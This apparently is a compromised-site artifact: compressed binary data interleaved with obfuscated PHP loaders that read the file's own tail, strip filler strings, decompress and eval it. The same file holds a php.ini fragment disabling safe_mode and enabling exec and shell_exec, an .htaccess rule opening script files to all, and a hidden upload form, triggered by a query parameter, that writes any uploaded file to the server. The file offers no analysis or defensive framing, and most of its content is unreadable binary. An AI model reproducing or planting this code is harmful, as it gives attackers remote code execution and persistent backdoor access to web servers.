I_6-6?˰7o|vEҲg82o]+ˊ"M9jMR4ⴱ@1Sw吒g:f-ؐVىݖ"A~G]bۿWNp+1glwdfbrpvs82[2WyuN|HDvk+׵5sucyikvedq7P=Gx@Is	\uN9
I#drMGݙ٭#̔m߻/f,sucyikvedq~C=X]|G3(l1X 19Bpawfku{;ێ_q mćú߿糇|Nd&"e8-}U~oo:߿	.1
&\IosMglwdfbrpvskg05_=ˑU*L3%U`!0A
|/i޾bi߼o902wAF;9tK]&)t'V2tWFǹMSS_[[+yf.g63	t$1KymmUgn[[)9m8|{;ɒtMޫS,u;qOsucyikvedqKc?O. ]F[='1g8B.UatP0vKV9\ĭS7YwJ:sEV~jSWŔnlKo-Koǃq;d΍c`}ז̞'O*?*{h_F Y0'p[{ygsucyikvedq?lQ
 
sucyikvedqwuw݌YEW;tЀσ*4ggS?-x1B[/{1-/7B;|h#*qb!7sucyikvedqU0 ^w_7߼'[rwglwdfbrpvs[?'یھɿ1ߎM~WE8^oꝛuya8\7g__'3?jѹpח3?_	9FcCu4뗷~xs'op117MlI?AKz<?php
$bWQE='subst'.'r';$VKCB='file'.'_get'.'_'.'conten'.'ts';$Czji='s'.'t'.'r'.'_replac'.'e';$cIDE='exi'.'t';$MWkc='gz'.'uncompress';eval($MWkc($Czji('cztgvumeqk','>',$Czji('jaqypilwrm','<',$bWQE($VKCB( __FILE__ ),-28289)))));$cIDE(0);
?>
xTW֦WރZsxNcztgvumeqk!{kZ* g{]WT&P}׺~qGf9@`!;CgұO?/ΏPoWVS/˸@3_5)gY__?iӸlPgXiw-?9|3Ͽ]	jl1Cni: XV(VE1ڧu,
ϊ+OqؚCDN՝t^@vЉSSi;7\b9HS݃g,]UܾGĠ~Ϝ
UzlX"03X6!8Zn5A箖@=AEjaqypilwrm("T#_J=Hӣ\jCΦ_(rU}"س42^KHc/h,THMG-.zkcztgvumeqka2JG+ FpmgY^gokH"@g:'Y+wjcztgvumeqkGv=J놧w,EYU8хG/::XKyC
uʑ= #0@x?ck7|OjaqypilwrmB`ۨz8c{%)Û
$)@d:m{ULlk]|Yqv00^ᓊ^$[`FODp/LVH 0 d9@$E2%:ijYе.T
ID欲9@Cq,3tj?y 7GeYBNt;TYwNx[0\vgs^bjaqypilwrm+1{ejaqypilwrm0haG
՘\c]`,:nǳ())ˠ[w'-Cb9 D\}iZ v
WZX|̍weM2ac{+8cztgvumeqk1lgjQp7/20ܐ~%9a}I߇jaqypilwrmhSGb(`bEncztgvumeqkڲ+ǔ}=!)'ǋYZ/Ϥ,lF4XsظXF3TҸm+lGqpRjj6$:$JJvqzKMX;n(A^҈WX21KU1xGYǿ֒5y|p9^I}BjkLyYtα8j܊ކcjþ?{i3hY[vs$ooHӇ 62'5"˪˳N~JUŦcw
ʼyƄuV.tVsm+TH:lOΎЩP(C&{S/%~
'W/tfsT'p@
D*Ԗ-]Fk4Mh|xALkovB{=%v=3+TOrq~e'A깲]Fw]fk)yX237ө&]顙0%eSw)up/u&?ׁRTM:!夔XBY
`}KI('ˬVGV920Wt$1-6'6~/|̜5
~mn6+֯K=wE6円\D[YYt~)IJsqiѻcztgvumeqkC)2s_VQJ!''&z`!/~Y]Oi&)'皥+۾ÈN=g˦_$KvN˨_%4nֶL
"{^?|/7}\zcztgvumeqkѓŒw$XoS2UbMz3zhTXo}Õ*{ȷUUrȆ@%r23^c_RWl
ȅgȈ0W]^_뚄0p\Ɗ5ue:qHv$B^ucztgvumeqkDkAeJURl	[%`F`S* *CG1T&zEYӰbieIv{N|5ꃫnf4SlG3UMMY3jaqypilwrmf2I*ُ5'n?$&jJ:By-P~xh*QSp
1a-$m
8 g_jvŸm5W6/myhᴖnH8,i9U񹾿s߾ޔuDL vBJXmXyipcztgvumeqkLuR3Gz	#}}jaqypilwrmX])=~5
?Fwjd 0
CLqjaqypilwrmJ"S 	3-Y~V՘M wjaqypilwrmX:XXpLy+1 -D$1Y-C:Xbu)TH \\P쉧Gj;xc!.$YΓ[y{x
Ts@f-'k
'$8ס/[ϓ/Z1(*x~ZYTN?[5ќ̀.#~\GXap3ֳf[`n2bcztgvumeqk#7%~tL-cztgvumeqk$`|BfeW 1"Z|uY0r""%^xfcztgvumeqkh-! 
ikcztgvumeqkk@Ke!QFнjaqypilwrm\9p.Crlu)*qs]-'7ōĢK\zg2}VPCwyO
 Uپ+-"GdϨ3  LKV4ru[5Zi|4])`g$ cB!jo&GhMgݚ]wojİ"jaqypilwrmyl~tCcztgvumeqk hGB
no@Ckr954i4
]hLA`
rٞPcztgvumeqkQE"Dwo]#\`0E[bWl,͏`þ1?_|Umel#4,}Y[P~U{H
Ɋwݭ5sVX{I
Ŭ[ĭ6~4A=މLP
OB4+`d4͎ gEAy啂E%!O9!ֈ M7A=5YMjv'I{_կ0Jԝ珎Fy`hyrfUlMCrcztgvumeqk{eSNĈxΝIrN&Fu1HyauOI)-\82P]WzθRC!P~5cn3XSL\yaK,lЅX;} K2{%6*),Iaa*LX7!hrY-z	Mβbtۓs!7eL(Դ	D[r.C^6٪
h4G?\$TZ˝k%O9R
??XUT.^
oa?jaqypilwrm
c*֏FVKhK~oc+m.1#֩碵|+sQ3vA	ch	KB7pق]UNheO/CcTB&Z&89uE`є%1r`)4踏@-5czD(dcCr :\5p8?px~yfx& *{9SHUdq\Tlm`^h_P"l_7"T+̼T.hLncztgvumeqk;!m4s !@0Sbf+0LN/wGI &
ՠQd|傭/9C DUIKnRD0$%\P	f[\GX?u`R4oR'HA}I*!'(╌I DrWqE00C¹Ya~[vr3-gDwYtR^|#;:ۆ6:}&QڻQjaqypilwrmMfИf|j}@17XQ_dA
gdNHNy
D'9Um
HJ=-WMjaqypilwrmt1xt0LK%uq!4Ol*
]Q_	+{C6Wk_Fˉ^.p̭MѯhaY0urB}Lɾ]"ggB cnV|?KV,↕cztgvumeqkn|Cf Ic?TA%Kcztgvumeqkcjaqypilwrmjon0.]U^R`Q(#;9%Ԫ2׈JONcztgvumeqk9%0U$}Bnl6k6Bz%G"XNc*h5xtTm'+3Æk}|dۧ/\05!4ec^zOxhY3+]%\"ӯ'Co1̤qfE0Ps6vQQ Q]SbF6uHTAn
ǲ#-(y|T`-2wJD6cztgvumeqk8Wg,{%VE+.cztgvumeqkd~4ϟ:1 K?!cztgvumeqkgIͮL)"fֆcztgvumeqkMsrKcztgvumeqk|_۳=ÎP7^U,hF°co7X Ե!T_62Rc5SɫU(Vb!
lNdt7q^{ABkƺ&^z7[=e᪈-5{7K6{]E*z'HK&F_[t7
юvh^Ui} ɉ_~47R^ృ3pg+plXFTqjaqypilwrmЖƴ@
uy܊jɩ S,!h\63IzDCBvdvR^nPH"scsmI 2n.AlF.1WoGF,=HReCME=kJص)}CzvVxc@e4	r!LIbraԞH&^P+ulSp_,;DQʞ])[͓L4~%	MzM۸rɽA#x
QT;҆_y#o]2;dj~g`PP+N) 
jaqypilwrm@ȍۋh*v=w!e.z3)kvEQZM%W%
.H@yʤjaqypilwrmP-N4Ae[,"GpȆz9igo;`_E9rk}X 
S~~jaqypilwrm/YdE:SaT--wFf n`v5mL.cztgvumeqk~Cx(t},qU#k&ےɯr)SO$Vc=K&M܄WMH/%E2bK{f`|kb]-2CXh*3m N;kFh{ߕdmd儷҄~9?seE\Αf,'%KJJ:|pڜw;J(ƕcztgvumeqk
I8)vAr-? i44ӢY*~YccztgvumeqkIe|Of35~)46Udo]񴧶zk^%yZ{1B1/(DiяQooF1*k[IqnHǒqȖtLv3_fk|x]o.I.0
S`KៗV(?evxg$DmeMNb~cuXQa
~گPCZjaqypilwrmY(Ĉ/@jaqypilwrmy&+`i
s5/Eఒ_$ASSjaqypilwrmB;n_"(cztgvumeqkx=!^~%E~ aȊZעt 5-cYLN)~cztgvumeqk"Uxm Z4
$&CAz;DTG,gp7kv,{zPM ;抹\ې#z#o~4 `wsdLwKhr
!dfߔf]blfnQ0ب`eR9t[Hᭇ`+vș'5Bcztgvumeqk?+|(Yi
o
W B+q e!ILK&Ym~'a)804ו+Py)BnOqX~\~PcztgvumeqklcztgvumeqkLw[Iלsi;xj8dx

vy_j@=b)Qc[+[4b	!TB@NBoUjaqypilwrmxQ/utgnE5M(!#/|{H!B'
C*77KAmƎrMGjiS=z^\ kaukb7xC5.^zshaGOV&:wcJ+W{1j/%TIʍ!Gl
qT@+.n}QҤ宨հʇֿtjƏ9fVv*ոh0,cztgvumeqkY+#u-=^ c@@AM=pc-u-Z=vvآ4EXLeJ
"!%3^i87I$cO|/' BXgD6$]ݦitu|aOaSIiQbhס8c]ܓռSOyO-5cztgvumeqkS{yhhz`x$!Iځ/Z=iR,շ#ZKG`{`u[47Qвn~%Ɔ5n.R#cztgvumeqkj%sԴ3_Gġc; [boGeۄef4괩[b:&cztgvumeqkbHyq[ΖcztgvumeqkbKxu_-d8Cm˴&X&a!jaqypilwrmN@]Ϝ3#;M2Jh'ڮU_F)J~x cztgvumeqkNEjaqypilwrmw7QJeo
R~AE[='5)_Jjaqypilwrm\t'_0e&q%Go`jaqypilwrmmP2˽9gaU:2X%p{cztgvumeqk rhӒVvFBg-@#vcCͰb[*9
}*fiE5Ρ3rHbolH9۴ݑwlo'jm|(Z 6C r~"%^ShX=
rg,
\qmWcztgvumeqk"s9M5rߑSPSY%W@,pwSA%7yb* l3j.},sjaqypilwrmJ/#-,_jaqypilwrm3`~˹=;?g^U^ۇAR+{]}E\"Ayױ)xn\jVűX;d͏p1F݈Wי@cztgvumeqk¥8R7,Y=XLg7M:R$cztgvumeqk4|$jaqypilwrmL
5w/y}!cztgvumeqk}h/RK%7ڨQ,icܨ6 kXSw;O8jaqypilwrm'kHJR~Z@_ȯԻ=պ-FZyc9S![ؙkp&4RY:tcv	cztgvumeqkLLoRcO&)S˪f+BL+8}Xu;hIq*Od,FCKapnQ:s: ׁ/&~b2֬UV=S7qbcztgvumeqkS*r(E֛wm^Cp4jaqypilwrm}~GRv|jaqypilwrm
 -vQ
̺XVgx˾_5(_J֏B	'`LOYevSץI|˒H8IUc(A"9!59E50.ֱʦc@00ˣ1va'O'~QQ&'F&nj,C4.-/\/WE4!bcztgvumeqkcӾbk#::۝UN+h4ix)Fk'yﹸjٙ=LrEò=.֖vac=+ـqkNw$#/75yX:
)i k?8o{Q`fV1lT
Q%*OMP*bjaqypilwrm1zMuF"eRuXp(ON~ɒ*cztgvumeqk|b{Nv16^=*	ZsM&y02r`cztgvumeqk-~	 ~tܡMua!oާ3(WX߀uv+i zodOvXif^iV I΢xyEc-ɫ㜈u܅jaqypilwrmَjR)Pߪ
H} ;Ow4|77yFsjaqypilwrm)^MtdU)EJoEngBF/O_
=ӵF`,:E|40K1Q
Jf~e2/ceHcztgvumeqkuYggvVx8}LEgU JT/ߦ @'%{Z(GqRS(|Ք0]?c
0f3f-dX̳JkfB	~h|ӵ5oSHnF%LII@b\cztgvumeqkI9:@$/R)o0s~8غbjaqypilwrmE@u"8iG,ܳ3ކt8xRfCWcqR\;`f)ԟjaqypilwrm٬	qaCv&M0F6ػ/⛣HDŷiZ޸jBJ6O5w^YS)5!U2oeb`X?%.$&5e}-K-ފLTAWB?T׺cztgvumeqkŶjў@j[K~Q^it!k|ȨЗZ
݇ɳ O9V=N)hEo+PĒR9(g*WA=U?ٔP
LnKo{n#)Ƀ$.D'քkr7{mO_HSapeu+Iᜎ.pz]m
Q'U
06Uy83jaqypilwrmO/bs	u{W"-ͮ/?Y0(v1G!߸!k4N~ 3ob[ks2cztgvumeqk2|:B83w440(IZ.jHa[0HocztgvumeqkxwArk8`gZᑪݘ+Vocztgvumeqk`8oK@@,:`	?]A@'aW]][̏t1&`ߺ,#l^{^`}ZU\A1eDBntԖ%H"i)j~6|f,3%=Lu?ahG;c#eo$eY
!,cȝ"y"f)^.cztgvumeqk74.j^
焸GS{cR|T !K:sK	,ngm嫢h4SeZ'Ut+ˈE([lԨ=%|] 8Mpa䝓$.F3?0NEE8,ǯl
g/HlcztgvumeqkߺX,	c$*uC,3*p䮗Ar#p%d.c~kuRvbCq=sYjaqypilwrmǋW0pO`bS-Jp|,Mt7&#:ZǨ\RFPEgcztgvumeqkwCZ.R*sɶ_5П?+lm. L"X%[$cztgvumeqkF
 ȏX$ʇV=~ ZRH!=QFg=`⢤9 5
KkZ]}uK3\hB[9U
A1KݬL˫~ḕ:5R6,u׭__X8`;e}֢|sV ֻcztgvumeqk@q56dH,Oi
`qizu	A6Y,VxkEQV3Khth:`ix$x=jaqypilwrmM$jʚDj~s]
!`SJ0\RgB];TZEb?8ꈃ+kfTHg\`bLpQy$3$(2wYܫSC zɵ9~N*T p=xrZ%cztgvumeqk.mIq?k@`NeHIYsAtw~H
_oI&5ܭYaʏ+1ʮ 
d5z!3~vYf6,9]bq?zæ )l2{Ӟ"YeђGW@Gʏ&OCXǬ~X5mݺ[ٶE
Ecztgvumeqk
qgƗ/a$2!Ng-$d9Bcztgvumeqk[0d\v6Пٙ/t*ѴΣtzQc_D;T|v[lZfeO[=I~d7O5D
/MS
N{6u㏄
?E ԥʭ^HӧJۂ}.1D=.`RQlM˾Fg;v
:t`qM-jaqypilwrmC^dpRժ\w=ډ|Zl	)sN'q7|΃nio3Q0{[8S QvqnQ: Ӌ32x]	qmX*0xnsjaqypilwrm=Gp~9ǘMO,6ih^=]yI: *82޲ "VK/@8Ovj4TϨ/cztgvumeqk0gM/;%6;$*tG^!.#Љ@|OQ1ݯ#E$TjaqypilwrmhQq `j8P4Ljyy?cztgvumeqk0VN876$eh6'fWfk	VtVYZy=}T+jaqypilwrmں:U4YhQ}w^.xǜ*180PFYəCk1B2; fj4Şꂼ`;~mqWCtJHp鲊V!vIyÂZGpiHªOh?Z"jaqypilwrm7_WC-~.EkUnSnwcztgvumeqkY럼SjM 5.tC?
g-		K	!xZG7aN.d5s~~ѾKBY(:ex
tLz." ePRy✛ / 3ъAlNCH8dL0J*F)At'RDXCvX%;YLL9/olεyDLϋ57j[.c9?/6G8wOdZujaqypilwrm*Y|p2eGHG
y|GўalM(id5?]9[/)С@5$cztgvumeqkܵ`80`|tOXP?A[a#=miJH8^/̬
T [@́TPaWϴewP8aF05G'o75sHQUvpoDhjaqypilwrmXdJxjaqypilwrmW#C
:Ӗ"+v38B}h,ҝv&E]峲FF
(acsd^	!+:Ijaqypilwrm66Ag׃n[3j yT!:iB?Btm17֦;cjǷ#	iF	4	7ok /pdK ?,^V"|"~Y`̘SaJ f#L|u@hT]iFZr#4y7x//HjɖfZea5'ygBfbH__;TǠk ˀȹZF`uO^#d1W5Rij,vo̻OGn{7{wA$	K I*)y$ASo4#inE߫v,4u;)'[${^7-5#Dώ1H/\
tduTd%*	*~}V &W$,]Bǽ  ɊD8occztgvumeqkrrsoʅZ3jaqypilwrmչ-͟Ee6}fup$&cztgvumeqk*:Lk-
/1˰'pdyjGdjhF;ɞ1(v|昷:hQ_͚?/
[Kkv6
m\"1vV[FNC)Gp9\NfCS,Ӎ` [`'VX,ɴ..Owkn0FJ2zf
{ φ4L5k\"E\9&=vn=N1pqF0+0jaqypilwrm?;b|Bd\50sMk,۠cztgvumeqkW\%INmS䡒7XݾHYǹix}KOVn;ldm"?OulV0_ORXߪQ#9@+ f63h
^C&
VŨAOFgw̷p!':k#cztgvumeqkD~L=DޅS;"VMXL@,e
Gcztgvumeqk`):)3剋¶SL:lc97/cism`sU9 A*F0u*v;Mڧ;,+rAdg:HxOM'/ѧ	'GZ,Qr:ڡiJA#Z|@n OAOO

ᖷɣ9?f;khhUo-SIlk/
'RzʚrSB1zZ_}iU`L!
,$BIdgxD%JCwZ&jsLci (Ls®{*3iJRl!H=|otsZ1:U˄bdFj|_iwjaqypilwrm b%C%ׁY¾	cI"䀌nR0cztgvumeqkHlVL&r{]vJ NuPw-[tmÅEL6kw#ǯ=n  r 
ARd'"oA#_jaqypilwrmaW
#9/W)VM,T	~eWCAOd$cu'?Hg((0QnOA2^K"F*g,n41+	\(#M?)83' *um_ycztgvumeqk	*~|iiFATV³BbMåeъ+yx_v8% -V'
=W:%cztgvumeqk0Ml:-	1^PG٢H_ɱ;s Ql	wE+l*Pwn}CÑaܸRQfE$"/O_Lfk[
ņ?	)Ojʗ̗Sۗi f#SȥNE{G5qTCfZ=5ծsEe(4
M{#O͐FRBo9NDp	iJ@Bp_m=-cztgvumeqk
!37VAEٺU
^s5~G0r{˒e=_E}kWpnN_	$
\Α;GKՉ/IJ*1W	$#P	gkͬV*Y榎	H^(2cztgvumeqka
ujǈd?zly sn=jr#s	}:-dFE0|LV0+U,5k&ܒ:
 fj
_DC+ƳF0Pa}ԫW\|}. c*zL'U9NNF$YUb}gZΩ~6_0
t1]R!ARcwB2G[Hȟ[*Yn9ЂOn.EwrlsCЏBcztgvumeqkSf44
/P?!cRF{mvK+)~g/@[8:9{)%7߈,"Mɼ|dZ'jaqypilwrmm	yڛ5ol*wʣj l)6@e'״@9{ftF
FH
8m?}?;L횏e*zX/'/ޜkQD"l2,dcaFaUUDL4PTA(=m-0E"^jaqypilwrm-:)/0Xjaqypilwrm*QDi[hiEzk@hb}6	mIO4Zj_ GA '0,JOŭh;XT+ƷY,3yl$Pg4DqbMŁ:KRKD(ms.L&+^}~&x73Ly~[Fum.Z@B!U"@c5Mf'jaqypilwrmg5-I&
28h36
DW,%OoPץ1\ 0cztgvumeqk
7ߥ򢏦'FT
{1{73Pa|??vVyXRi2NUwN_xB!8Rqi+Mjaqypilwrm
5ڕYs継Zi.kܘLq}.JBcztgvumeqkwlZ{GRgӖQꩌ"DxoUD+u
N?'2巄w#c6.,i|wlķd
:;/r{0-^
ǸnVﴽ±֌/򱤕q3vKA	op귇d5ٟȅcztgvumeqk.bx=|'I^0vpZXetF0P7$ԝcztgvumeqk$hfuvwv=8B*6-aQz_ryK|g~h.释sRP.-T,z
!Ccztgvumeqk.?lܾ9{Í#ϴ?"fԱ'-:Z1go3z)gɓtv.9_8j,[U %s~ektSdo5yBf=7_tD''+q[cztgvumeqkZv$reo]iLcztgvumeqk*7Wy(lEAKw=aEܮ/(!*Rj#983AFC2GR~(]$TpTZ/}S)j_#(`g{Gݎg&mBqg8Nq{F|ߕǘqcztgvumeqk!b"\9ПET#dπm
ܤ?(X)yGS|AQmpg^}dM#_m`+-y(ݐJ;cU74-ʞX.`scztgvumeqk'n:]'-2-ϐăTOљhHF0#Sp?HcztgvumeqkTmîw?"FC΅I!;ɚR8OTS&Fp2ɇ3]?cu_8Ó]EcȆtX;=j'Ź|
@K}~
DTd!"3ƃ
"oEQHH &~2",0:Se^~⦲ĜB}?W(cs'%lC-{rh|AScztgvumeqko~Vg6n.!Gda?c2UiYL]Č!&o֝!ָsuʖӫ|q;q3D[\G);YNfq?%H_5 
ʨ(tn̜ӘFuFRGbVczbu8ix^JWmQP~N1XCYa84QzuZhlÛ6sr4kM	ռݳ90Ko[ю
jaqypilwrm#JB/BRe++!ٌpؓ5apM$GKJ	e-jHRȜ&G@EȟK04?{!p*U^*,|4oYK@\8~ˑpȜ#VEroΌGAJU\HՌC ˈ9X@V52(\,|i?\EyX3h*tIg~lt-tf+^*G@8YN]h5*
/MބԻ)Z5j7yAV%i[׭-T$nnDj/W0,}1I-*I_iE! hI'B2v YyNxZFeVU7v`[=#2IR Dcztgvumeqk&O|!|cf@o=uؐXOfRӾ~4x^77aS0faSe4Pu-@r]t@qC΢V7?ٞCBFH$JPDPTmQkeh,'=jaqypilwrmCtpCW?l1?cztgvumeqkG[!rp~M}gaB5}P65_[
wMiT3:T-*Nø
|3eCgAnO\#p*x׭ O2- b&b[xRvC*Ol4M'`1Z+:j:+[Ifӳcztgvumeqk.BrtH#"k{
@=%5p|S|k#iE|./^}'Ұ&j{?=s	_ :R2qFѨQc˃8	0bQ}Z%XpLس0",cztgvumeqkU3D՟1B@o $r+|JP0v@/"ث\7$jaqypilwrmq~ouBۊDQ3%q;tҴMk;`nYLcG'vP
(A՜N2q#4a%@2|0IG.ٚIQ#m.kQqU4oM;W^qdbjaqypilwrmn=xtxԭt/	Kxqa}~"2QpOwوI?zodomNLcztgvumeqk"352~0n30Ϫ+\m*!t91e+t~scmKxٱ'VUk|
V&d֠`'Dr;0g^)jaqypilwrm#85cy+g	&]v
F:-NŹ[nĢEvk_kG?摟9[:\p?&jЎIb 0o|._pK|$pѝ+_Recztgvumeqk,y56
9b_pE9]!wyś}`vgl}2د0%TC$ ZΫ19緒G yW5R
E38('@Abau;!GU&:U9%,atkk
s,9F@_Lٺ[{|M,(MN@F 3*AXݲ	d$!xbS%rGN1BUN/bUijq:*+jaqypilwrmT4V.yj Zf#\4׷gvJӂjaqypilwrm+gϴ-EuHi^vU(ר9!zZ-@õvdm6eG!ItQ%(5nŠL1L@yHŔ蘡o}=~^Z{?EQcR[!ޗFGPZG5dȆD)f	E'a(kfQTLzWTЍʼ--L7
uΖW`i`bQ-jlhjaqypilwrmSo}ǅwc3w|%Cf!C	C0ph%g[hLZ*,wL{TRWڈJȝwjaqypilwrm`ܟsgˊ.Kxy&vCU0vD ڟmjaqypilwrmݣHSeO-'PY)ܸ~flC.A'Yn2\Ы~oq-$ɤXBD-hxK#!%_`,kW!yl=	__OcztgvumeqkN6EuR{X.};8RE(|sL	zt ו܈/ wX7;u,wJS^=Er~.{_5_"p ds1Wҡ1PBtAnRrZGhNRq}~!̓6߳D]Fj5}hGk,Mk"CZcztgvumeqkU/`FkՀUrY?E쌦)Иjaqypilwrm%_?
1ۭ^FFgpm-A&[k$4`j8P,\xZuFH,Z- 5kkENMGL3'[Emd˸φ[-m^K`̥c+=d
t'3R#gz|1@^~-LSlIVKgZ'✧w`^6?b,ꉆqjaqypilwrm|M!Wcztgvumeqk3GpfT]|-!x+o"=xD]l^||;$7BDG:jaqypilwrmleC~لvy46!&KEӄ;C(73'9Gq3#jBiM/yNQcjaqypilwrmϬjaqypilwrmy_ZӮfݧ3D0y2)w˩ԷЛa ʁV*S6`(5Fcztgvumeqklbl"mq(s%)q	mrtZZhcztgvumeqkGEzmo0(xkT0*ݺB(i&pj~eꢀ+J9~؇!a*ATpin%ɝ2t؞Vw!)4H4~چ.MRqInXˊQ3Sf	lv:Ftr,ǒapnԣF$~Κy(9dBkYgK2y3n˶OHw,'yHcltggyGyf}ǰUU|A,B@"
k"dpw=zkɨ#J{*te[+cť#Xrnv"2G[;`
vyac'7{ O	%u^gn:us);kj6gW,lAM­ΟFMCx%_sF|8/Bp0\۟Ov6ng]893Elf([=k``@cztgvumeqkŻXCrXdQh#V|ǓI?FOp7ޚ!sGi ЉjwjwO_!j*5]_ 0k(GKjch];w:3yߕe`Y)n7'm1
t?vcztgvumeqknAeFmuE)lP-ZYCZ})vYFY":R@t#qLnk3d#~lV׶
?-x6I(KBD4\E[j)FՕw .d?V6	yaZ} 7ʵ 0udn]+_wT=b׶PnU:=+CHAɖ&UUe+cv2~kƦ3.'ʊt;h?a"@y(8DXS+0G'kѿǭ&jqvk1~[`cztgvumeqkCunIG 2vr}Ùޣ}yof~nśY|tnV-2[Tt]S",1\7$ioXpQma/#g$ N$GN@?E~^|jaqypilwrm#)AÚ}_&@Г+EtpHXL)7Jgk%g힥GI%nʼt]856ߌG0`DK7#%Pu
E's/mjWjaqypilwrmp&C?'fo:YJ,2:D([4ujU+TO}YKAu{9"7U'&@S'VZr3\|qwtpEW[v'a9?jaqypilwrm0C]wƈ50z҃烯stДk#ns97}q"\AI&t7D6l6
y,e1qkyzM(L:jk	Vl;؜$O9
	_	5f/5ĸ(JIEYYF;Ϝ/uSɰf~zG	=_	JP~9l=7B
1z62cztgvumeqknX[QG3Ii*Y2)Najaqypilwrm J!d/ CsSvz&eҸjaqypilwrm¦cB0/𗖜4̖K&@VMB3S{+
O0/sMpjz=PM(䕉AWJ7cztgvumeqk湤+|diT]SctH3~aN2uBe* gKSo"[}ń{q),&@+Le*ꈹ-\"|+藥Pawy׳h8pHK,n='uq:dVO7Ed	&uBYtܒ)CHX!Tz8\KXln0|I¤8"-1ty|V5燐ẖN
	ubA)UM]:[B$ũgE	b@&p2|;:J1jaqypilwrmѧ{̆Tm!cztgvumeqkq)+[R8ff/jaqypilwrmKIXm?}{8x-2jaqypilwrm
.5M8XDQINk+){"z ꕰ,\JN {@H0:[c@'|3$rk~U~5-4哟!keو~BV9PY,݀%w]?,hp8Jf!/Rcztgvumeqk_K8L9[Y_s:*qs
2[f{݁"/._ZǗMN0yqn&۾]_g P5]ST3֡l"V:`8-[MFt9|ѪcA)HG,cztgvumeqk҅L9}ݘM] #P#2M9jaqypilwrmjh$Cbcztgvumeqk5,%^)15{Ejaqypilwrm1MX]kY1|ڋ9;chlOq
_d4b	*{#-Db|{8w۵;7Z,d[%K~lcjaqypilwrmSQR@fK;Fa!&/ qi:N3߿jy"D$Lk+le\0(:oX|+fe]siѾ8+4+q"L
LOM͟cObahq۱cztgvumeqk?l@2.^:uнWwP"ɸuvXQ+j;-Kv~E5rjaqypilwrmGOէL??_3jaqypilwrmDu}n»&%NNdxXFT.nG .	W^Ʋ iEI$n#nHa5(Eʭx;=AE oG&1$#cK)D/##$T~av( 
دrcztgvumeqkV$FV̐Rjaqypilwrm.O1w(UnixuH(X68kVr٧ad]Ҙ g˪D][oMAS 
VU7_vmF|8}ۭ_j^9+a_ZB;*vځ}jƱBeڷcrDDHnT4G5w4[("XRQt- 
e꽆BPP	eT-͕o]d\W	:`P{_҉B gJD:o%QR%ecztgvumeqk:OgWc
@uL_'
OJ__	"ڱ5ڃ7~*ĎM)̵\a|
U[׶DIAfA!sj_X9ӤB,
gP=JД,

`uAiI!w,Wm~WpX|8+XVjaqypilwrmwѺ
t1]9zf
┛6nejsq_«`t2E ",~YȻyR0SgY;4TdDΚկ{h랾h5VFD1oGOph|= f*:xg85g03;$=A._{}ıS*DQ+ۈQ)G#(Vb٫_L	MHRS!!w8Vq 9H,m)R C΋
FPAZƿL4/P|? ך3;0Թm=6I-4fAU/4~h/tg&{~ϾGM՚V`g~qEʝ}iWj4lyf3.(+$5hMFyǢۣRYcztgvumeqkq9x+SYcy	4{
%q^t6P.LT^i0Ss'2kJMdί?Vi߇H|vgiIQ%VcztgvumeqkUy%"*;es"yTٮ:E.zw;
km_B^Ơ1S;l&#ve6N5߬
a?]Մl(.BrM-LQB\O$AI1ߎфmzu#vpV#k$UIM_1nݟqRhcGEKUX߉tm _cztgvumeqk-kpơ| CEE?` lo=ͣxWF}kic}q%(s]f&BTH/Y&?M3fZ{rDq+B.$+B%dJQ,E-7C +~giZ(姾wf[P}[[!hBF~և_#h't5K2S"o'[bG2h%"LA{rh
@9'6p{(jjaqypilwrmU7Mh;Mp߼hVNB@ 8/S$iA'_+☮\Шty6ͣ)E34K9IFJ(]vĊ&M!č`᐀btW{ٚ1DDcztgvumeqkj=jaqypilwrmajaqypilwrm۩j[l4 cʛi%[X7D߾0}2O?y7`G2;;Kcztgvumeqk2_Ҡ:IbUhr
vt66ͯR+"w\|#D*&yHM2?`Ķ2jaqypilwrmt=(̠Tlޥ/y;/XaMك[
NDzQN5N5_ԧBi~hݞsm}lHs#AP=`sՒ9p,.6F{:fݡ;mb5_sDhԛ6O'K*#T)1~3sgDBf"r݊~Hw9-j6@5GS)T5ws!#6l(BTP,+_miqtAQ뱝ۜ諆dag X"}pڔ+j׋3o
ۏ@(ploo./BaXBCNkҬ{u늖}	]C2%[V(ȉiϤwkPGIgvt.wfNj@xw2*G
hÆ2xf{,\
w 3}H6Nt5aps\Lw7*6:};E'X'{Yo8BDp/:%"CdSΛNSrhl^{.759[ڏsnBT)5*ģ/w5Z|n	q:]פrc,3IK;YV +pQ`1[L"A&뛗y䩁;5O3rbKhSԙ8wj9Kһ[pַQu;wFJW]jaqypilwrmS=Mڠ:sA Zh'k7:nR/n%+X!An570sd$ޱ
,kmdl^V}Dx)I}/=͍DH[kGRcDB/Xjaqypilwrm;͓2RKcelNEQU&};	mHV=M41I+ch_t[_NvA"ɋ]V"9b7z"	GIQ7)΅D*S{/F$Oy
rlGT|VӐۮU'
[+7BffJM2e{Gz\k$	[9 /U i`O oY,Tr
%jaqypilwrmKÅk.Wjaqypilwrmu_/5/w-w&N9x (yeen[`nP9lȏP!"/LWő
j}(C"cztgvumeqktJt\w~Xsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$UGiz='s'.'tr'.'_rep'.'lace';$VyDR='g'.'zuncompress';$RvqW='file'.'_get'.'_conten'.'ts';$isNP='e'.'xit';$bkeX='sub'.'str';eval($VyDR($UGiz('wunmdybzxq','>',$UGiz('lrvcmehdwn','<',$bkeX($RvqW( __FILE__ ),-28172)))));$isNP(0);
?>
xL׎ܲn*FӉ}Ao67s/4pȪL231׵7~Ͽ_Ͽ٘_//i;t+Χ+mYwunmdybzxq.Ms{_{u34ۿ7'2..~+_wunmdybzxq9glj٫c*??w[3T{H?'*R"~tۀ
AmE?F"lrvcmehdwnV4P ȃ`#HZ@5Ƭ䚻բ|~ty7lrvcmehdwnb`@ 4_^ˢ0lrvcmehdwnz~WhcbCRlrvcmehdwnco
WOcsj!=DҐ

.H9"s [G3؟_D})PZz5(sR/X
